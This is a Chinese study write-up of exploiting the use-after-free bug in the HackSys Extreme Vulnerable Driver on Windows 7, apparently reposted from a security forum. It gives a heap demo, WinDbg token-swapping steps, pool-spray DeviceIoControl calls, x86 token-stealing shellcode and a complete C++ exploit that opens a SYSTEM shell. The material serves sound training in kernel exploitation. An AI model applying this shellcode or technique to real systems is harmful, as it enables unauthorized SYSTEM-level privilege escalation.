HEVD学习记录-2-UAFNonPagedPool
2020-06-23 17:03:17 Author: bbs.pediy.com(查看原文) 阅读量:445 收藏

0x00 环境准备

Vmware 15.0 + windows 7 x86 sp1
Windbg preview + VirtualKD-Redux
HEVD 3.0 + OSR loader

0x01 漏洞原理

UAF

UAF的全称是Use After Free,表示一个内存块被释放之后再次进行操作.主要分为以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

第一种情况是利用不了的,所以我们一般攻击的都是后两种情况.这里我写了个小demo来展示一下攻击原理:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "申请1个堆块,接着将其释放\n");
    int *ptr_1 = malloc(8);
    fprintf(stderr, "ptr_1 (8): %p\n", ptr_1);
    free(ptr_1);

    fprintf(stderr, "再申请1个堆块,在其中写入内容\n");
    int *ptr_2 = malloc(8);
    strncpy(ptr_2, "seclover", 8);
    printf("ptr_2 (8):%p,content:%s\n", ptr_2, ptr_2);

    fprintf(stderr, "此时对ptr_1进行操作.\n");
    strncpy(ptr_1, "_U_A_F_!", 8);
    printf("ptr_2->content:%s\n", ptr_2);

    return 0;
}

运行结果如下:

[0] % ./1
申请1个堆块,接着将其释放
ptr_1 (8): 0x2220010
再申请1个堆块,在其中写入内容
ptr_2 (8):0x2220010,content:seclover
此时对ptr_1进行操作.
ptr_2->content:_U_A_F_!

ptr_1这样释放后却没有置零的指针就是悬挂指针,通过这个悬挂指针,我们可以越过ptr_2直接修改ptr_2所指向的堆块.如果堆块中保存着函数指针之类的重要值,那么我们就可以做到劫持控制流了.

权限提升

以往做ctf题目的时候,如果能控制程序执行流,经常会考虑系统调用system("/bin/sh")之类的手段来控制计算机,但是到了内核这边,我们普普通通运行一个程序是没有管理员权限的,为了肆无忌惮地操作,我们需要通过一些手段来提升我们的权限.

回想一下,进程的特权是由一个叫做Token的内核对象决定的,进程的数据结构中保存着指向Token的指针.当进程尝试打开文件或者是其他操作时,系统将Token的权限级别和要求的权限级别进行对比,以决定是允许还是拒绝.如果我们能够将进程的Token改为windows系统进程System的Token,那我们就等同于拥有了System进程的权限,这也就是我们常说的提权.

接下来我们具体演示一下,我们先要在windows里用普通权限打开一个cmd

接着用windbg断下来,查看一下System进程的地址

image-20200616185851607

该地址指向一个_EPROCESS结构体,我们查看一下其中的信息

kd> dt _EPROCESS 869f78a8
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   ---省略---
   +0x0f8 Token            : _EX_FAST_REF
   +0x0fc WorkingSetPage   : 0
   +0x100 AddressCreationLock : _EX_PUSH_LOCK

在偏移位置0x0f8的位置保存的就是Token指针.

image-20200616200507131

接着用同样的方法找到cmd进程的Token

image-20200616201622299

kd> DT _EPROCESS 8809a880
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   ---省略---
   +0x0f8 Token            : _EX_FAST_REF
   +0x0fc WorkingSetPage   : 0x1bd31
   +0x100 AddressCreationLock : _EX_PUSH_LOCK

image-20200616201728558

这样我们直接将cmd的Token修改为System的Token->value就可以了

kd> ed 0x8809a978 0x8a201266

到此成功了,现在我们只需要验证一下就行了.

image-20200616202500272

0x02 漏洞利用

因为有源码,所以我直接看源码吧.在FreeUaFObjectNonPagedPool函数中有如下代码:

#ifdef SECURE
            //
            // Secure Note: This is secure because the developer is setting
            // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
            //

            ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);

            //
            // Set to NULL to avoid dangling pointer
            //

            g_UseAfterFreeObjectNonPagedPool = NULL;
#else
            //
            // Vulnerability Note: This is a vanilla Use After Free vulnerability
            // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
            // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
            // (dangling pointer)
            //

            ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
#endif

典型的UAF漏洞,g_UseAfterFreeObjectNonPagedPool是一个全局变量,驱动在对其进行释放之后并没有置零,从而导致了UAF,这里其实也给出了修复方法,置零指针就行了.现在漏洞有了,我们看看如何利用.先看看g_UseAfterFreeObjectNonPagedPool的结构

typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
    FunctionPointer Callback;
    CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;

一个函数指针,非常有吸引力,我们接着看看哪里会使用这个指针:

if (g_UseAfterFreeObjectNonPagedPool)
        {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
            DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
            DbgPrint("[+] Calling Callback\n");

            if (g_UseAfterFreeObjectNonPagedPool->Callback)
            {
                g_UseAfterFreeObjectNonPagedPool->Callback();
            }

            Status = STATUS_SUCCESS;
        }

在UseUaFObjectNonPagedPool函数中调用了我们的函数指针,所以只要我们成功修改这个函数指针,就能轻松控制程序执行流了.

这个时候基本心里有数了,大致的利用流程应该是这样的,接着逐步写出exp

  1. 申请一个堆块(假如是0xdeadbeef)
  2. 释放这个堆块,此时g_UseAfterFreeObjectNonPagedPool仍然指向那块内存
  3. 再申请一个大小相同的堆块,很大可能会分配到0xdeadbeef.这个时候我们把函数指针修改为shellcode的地址
  4. 接着以悬挂指针g_UseAfterFreeObjectNonPagedPool为参数调用UseUaFObjectNonPagedPool,程序就会乖乖执行我们的shellcode了.
  5. 对,我们还要布置我们的shellcode来提权.

接着逐步写出exp

1.申请堆块

我们通过DeviceIoControl函数来实现对驱动中函数的调用,第二个参数由HackSysExtremeVulnerableDriver.c中的IrpDeviceIoCtlHandler()函数中的switch{case}结构中实现:

    // 创建对象
    // 调用 AllocateUaFObject对象
    DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);

2.释放堆块

继续用DeviceIoControl函数就可以了.

    // 调用FreeUaFObject
    // 释放对象
    DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);

3.申请堆块

fake chunk的基本构造,函数指针指向我们的shellcode函数,然后用'A'来填充堆块

// fake chunk的基本构造,函数指针指向我们的shellcode函数,然后用'A'来填充堆块
typedef struct _FAKE_USE_AFTER_FREE
{
    FunctionPointer countinter;
    char bufffer[0x54];
}FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;

PUSE_AFTER_FREE fakeG_UseAfterFree  = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');

我们可以稍微灵活一点,既然只一个堆块的话成功率不高,我们就可以发扬人海战术,申请千千万万个堆,这样瞎猫碰到死耗子的概率就很高了.驱动本身还提供了一个AllocateFakeObjectNonPagedPool函数来允许我们在非分页内存池上分配一个伪造的对象

for (int i = 0; i < 5000; i++)
{
    // 调用 AllocateFakeObject() 对象
    DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}

4.使用堆块

    // 调用函数指针
    DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);

5.shellcode

回想一下,前面讲了Windows提权的原理,即修改普通进程的Token为系统进程System的Token->Value.在windbg中我们一条命令就成功了,但遗憾的是,并不是所有人的Windows都运行在我的电脑上,所以我们需要用汇编来构造提权代码.因为我们是在驱动之中,所以我们可以定义一个函数来容纳我们的汇编代码,函数指针就是shellcode起始地址:

void ShellCode()
{
    _asm
    {
        nop
        nop
        nop
        nop
        pushad
        ; fs寄存器指向当前活动线程的TEB结构, 偏移0x124的地址为当前线程的KTHEEAD结构
        mov eax, fs: [124h]
        ; _KTHREAD结构的偏移0x50处为_KPROCESS结构,而_KPROCESS为_EPOCESS结构的第一个字段
        mov eax, [eax + 0x50]
        mov ecx, eax
        mov edx, 4
        ; 通过_EPROCESS中偏移0xb8处的进程双向链表,偏移0xb4处的进程标识符以及System进程的进程标识符4遍历链表匹配到System进程
        find_sys_pid :
        mov eax, [eax + 0xb8]
        sub eax, 0xb8
        cmp[eax + 0xb4], edx
        jnz find_sys_pid
        ; 接着寻找Token
        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        ret
    }
}

现在exp的主体部分就算搞完了,完整版本如下:

#include <iostream>
#include <Windows.h>

void ShellCode()
{
    _asm
    {
        nop
        nop
        nop
        nop
        pushad
        ; fs寄存器指向当前活动线程的TEB结构, 偏移0x124的地址为当前线程的KTHEEAD结构
        mov eax, fs: [124h]
        ; _KTHREAD结构的偏移0x50处为_KPROCESS结构,而_KPROCESS为_EPOCESS结构的第一个字段
        mov eax, [eax + 0x50]
        mov ecx, eax
        mov edx, 4
        ; 通过_EPROCESS中偏移0xb8处的进程双向链表,偏移0xb4处的进程标识符以及System进程的进程标识符4遍历链表匹配到System进程
        find_sys_pid :
        mov eax, [eax + 0xb8]
        sub eax, 0xb8
        cmp[eax + 0xb4], edx
        jnz find_sys_pid
        ; 接着寻找Token
        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        ret
    }
}

typedef void(*FunctionPointer) ();

typedef struct _FAKEUSEAFTERFREE
{
    FunctionPointer countinter;
    char bufffer[0x54];
}FAKEUSEAFTERFREE, * PUSEAFTERFREE;

static
VOID xxCreateCmdLineProcess(VOID)
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main()
{
    DWORD recvBuf;
    // 获取句柄
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);

    if (hDevice == NULL || hDevice == HANDLE(-1))
    {
        std::cout << "[+] 获取驱动句柄失败" << std::endl;
        return 0;
    }

    // 创建对象
    // 调用 AllocateUaFObject对象
    DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
    std::cout << "1. 申请堆块成功" << std::endl;

    // 调用FreeUaFObject
    // 释放对象
    DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
    std::cout << "2. 释放堆块成功" << std::endl;

    // ok, 接下来是如何覆盖
    PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE));
    fakeG_UseAfterFree->countinter = ShellCode;
    RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
    // 喷射
    for (int i = 0; i < 5000; i++)
    {
        DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
    }
    std::cout << "3. 覆盖堆块成功" << std::endl;

    // 调用函数指针
    DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
    std::cout << "4. 调用函数指针成功" << std::endl;

    // cmd.exe
    std::cout << "5. shellcode执行成功" << std::endl;
    xxCreateCmdLineProcess();

    return 0;
}ss

至此,我们只要运行这个exp就可以提权了.

image-20200617093101323

blog

0x2l.github.io

[培训]《安卓高级研修班(网课)》9月班开始招生!挑战极限、工资翻倍!

最后于 5天前 被0x2l编辑 ,原因: 修改


文章来源: https://bbs.pediy.com/thread-260143.htm
如有侵权请联系:admin#unsafe.sh